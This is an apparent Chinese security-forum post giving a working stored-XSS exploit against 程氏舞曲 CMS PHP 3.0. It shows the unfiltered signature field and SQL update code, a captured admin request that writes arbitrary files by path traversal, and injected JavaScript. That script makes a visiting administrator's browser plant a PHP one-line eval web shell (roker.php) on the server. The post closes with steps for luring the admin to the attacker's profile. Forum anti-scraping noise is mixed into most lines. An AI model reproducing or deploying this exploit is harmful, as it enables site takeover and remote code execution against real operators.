找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2570|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
! }% R; ^+ Q; {) k$ k) k$ F9 G- P9 F官网已经修补了,所以重新下了源码9 @; y% i  g3 c* Z9 Y
因为 后台登入 还需要认证码 所以 注入就没看了。
9 P6 O6 l: B! w8 H' K. v: a存在 xss
: X5 H$ s" J' h' h/ h/ ?漏洞文件 user/member/skin_edit.php8 X1 f" s3 z: w  J
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
2 H0 P- g0 `6 D% s! c  
/ X( D+ i5 f; ?3 M2 n; H: R2 o! \! \- b</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
% h) K  D1 b. }  ) R. m- H. e. N8 e! |
</textarea></td></tr>
/ x' u! d9 d/ o6 r  , R- z* H: w0 Y
             user/do.php 3 ~8 P, l' }6 g0 K3 Z
" ~' ?) m, F  u8 e% J+ ?
6 o" `0 z2 R$ E7 s! z- ?) k: W% S3 P
if($op=='zl'){ //资料
$ a! e; f4 k5 @. c2 U  
0 C5 `% F+ R! H  d- ]* a6 d+ O             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 1 a; u( ]/ n8 X- B( l' d& w" ?* q
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
6 ^! I3 O2 _$ s* W+ _& l  2 f; F$ L1 P! w5 @' m" R6 o& |* s
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 R$ {3 k7 l: z- g% F1 ]/ e( T' H4 v
  
/ q% i- E2 q) s             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'- S. d- F# x" g% }
             where CS_Name='".$cscms_name."'";
. X4 X  f% z3 k% D2 K  . z* d; v3 J7 K; @
             if($db->query($sql)){: a$ m: I4 D5 y  c
  
7 }7 q  m: X+ v" V) U5 X. c  B# P& E              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
& l, n& C; y, t8 O5 a  $ F1 e/ B/ O9 a1 i: o
             }else{
; N, d# j/ E( ~5 E4 D( f5 m  5 X% f2 Q6 U& T! M. n, l3 `
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
, S; C  n0 |* l1 z0 d2 h  , |' D: v1 C0 m5 x- v2 i
             }1 I! `6 N5 m4 I6 J- k9 R
$ {1 V3 w: j0 ~0 O- O2 O4 U+ u& E
5 u. o) o" G8 d" ]$ a
没有 过滤导致xss产生。( g) k2 \& f, R7 ^5 p
后台 看了下 很奇葩的是可以写任意格式文件。。
* E0 A" B7 E( A1 ^: {抓包。。" N8 d. p2 p! Z
* C% Z( C  M& q

# l1 R! n2 n. @6 j0 g本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
! `4 b% m  T  l& G* R# p: n" e" |1 j  
5 }( h: m8 C5 i/ T: O0 d' ~( p" }Accept: text/html, application/xhtml+xml, */*
6 T9 \) N3 }0 w  # @$ T! D; O0 y7 r) S6 c
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
9 {9 }" J5 n+ v9 j5 m0 E+ z  
' Z1 n' K' w) |. t& ]% o9 dAccept-Language: zh-CN
# I" j/ F) ^  |$ i  
4 O) I8 F" B$ T& i( ?/ AUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
0 k! I# `# K0 T# x$ d4 n' Y' {  3 @! t' w& \9 P. z* I
Content-Type: application/x-www-form-urlencoded
  t, q# Y( |3 [5 o  
0 l. m' ]$ \8 f) o+ Y1 [Accept-Encoding: gzip, deflate
, Q8 U( ?1 {( f2 y  7 Q3 Q6 C6 g- R9 S- w# z
Host: 127.0.0.1
. v) W/ _! w$ |; S$ O  ) |% q) g/ X+ R: `+ k* {3 U
Content-Length: 38/ C* H$ R( @5 n* |& _% E3 @6 O
  # L* z+ e& P( J; C
DNT: 1! B6 j$ d' ]! O
  
: X) }6 H' _6 ]Connection: Keep-Alive
6 b& v3 x/ }0 h2 [' ]  
+ @* p* Y% j5 S0 S2 gCache-Control: no-cache) E! k* I0 c' C2 q
  
6 F2 B: ^' p( o8 ?Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655940 o7 l) O) Q/ N. f
  
! H' T3 y6 X9 O. d! W
/ g5 y( L- v0 d8 d; ?name=aaa.php&content=%3Cs%3E%3Ca%25%3E9 [2 I. S  a& W' `2 [7 P

) W6 c6 M0 _; S& j7 F! l, C& a2 a" _' ?+ L1 W9 j5 F

4 u+ t1 y5 q( i) t于是 构造js如下。/ G, y" S$ p" ?. a4 D# t

2 `9 t/ Q- h2 V4 P3 `本帖隐藏的内容<script>
- R6 [" [' N. n- JthisTHost = top.location.hostname;5 |* T! t" y6 N7 v: U
  
8 a0 Z! N3 H# N( `! F! l% A5 DthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";1 F! k, C! ?& g' t! [, b) I
  , |0 X% }( u; H# V, G
function PostSubmit(url, data, msg) { + ^+ e. o8 v( u: b, b" ]
    var postUrl = url;2 C3 C: J  R/ m, E
  
7 i8 [0 g) G( D5 N# l  t- @2 D+ ?    var postData = data;
9 D& T8 ^4 ]# @$ o( Z. c$ z+ K    var msgData = msg;
- G8 v$ M2 g, Q    var ExportForm = document.createElement("FORM");
: w$ n& V2 N6 b  w9 v+ Q    document.body.appendChild(ExportForm);
! C9 K; ?- M1 L& s    ExportForm.method = "POST";
1 {6 G" h& U) O& P0 O5 W% W    var newElement = document.createElement("input"); 7 t. E" T. L" }7 C
    newElement.setAttribute("name", "name"); 9 T; u; E7 Q# ^! ^" \# p& ]
    newElement.setAttribute("type", "hidden"); / n- s6 H' u, t* s& |$ }% F$ v
    var newElement2 = document.createElement("input");
$ F+ E1 i/ ], h1 x0 m    newElement2.setAttribute("name", "content");
( m( ~4 [: p6 _' r' @/ a4 I    newElement2.setAttribute("type", "hidden");
+ |1 |8 j. Y; L9 V  ^# I    ExportForm.appendChild(newElement); & J0 U' ?2 V& K5 w. U) |  g/ u4 s0 |
    ExportForm.appendChild(newElement2); # X, p6 c$ E" d4 a7 u8 A" ~0 a
    newElement.value = postData; ( y3 f& R7 F3 m
    newElement2.value = msgData;
! H8 U0 G6 b# g1 o    ExportForm.action = postUrl;
6 ?$ V2 H3 R9 e, T    ExportForm.submit(); , y' E+ Q: n* S, ^( M1 S) O
};
, T! D2 Z. a1 ?  t* [% |/ r0 n* x  
$ J1 }, d$ v3 ?# KPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
( L# R$ y4 v+ t4 D' F7 k3 h  ; ^# Z5 d( v5 X4 w' m% L  r
</script>0 Q- U0 I3 d7 a8 ]; t

9 r: ], f2 U: Y6 G( C# `
  c9 c% M2 E2 Z. F1 `" I% W! J- l& ?6 W& I
. R$ V/ x% u4 i: y6 g8 bhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入; r+ j( Q# K: |+ E
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
! ^( a" y: e8 {就会 在 skins\index\html\目录下生成 roker.php 一句话。

/ w4 Y$ j; x% R) l+ I9 E: j2 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表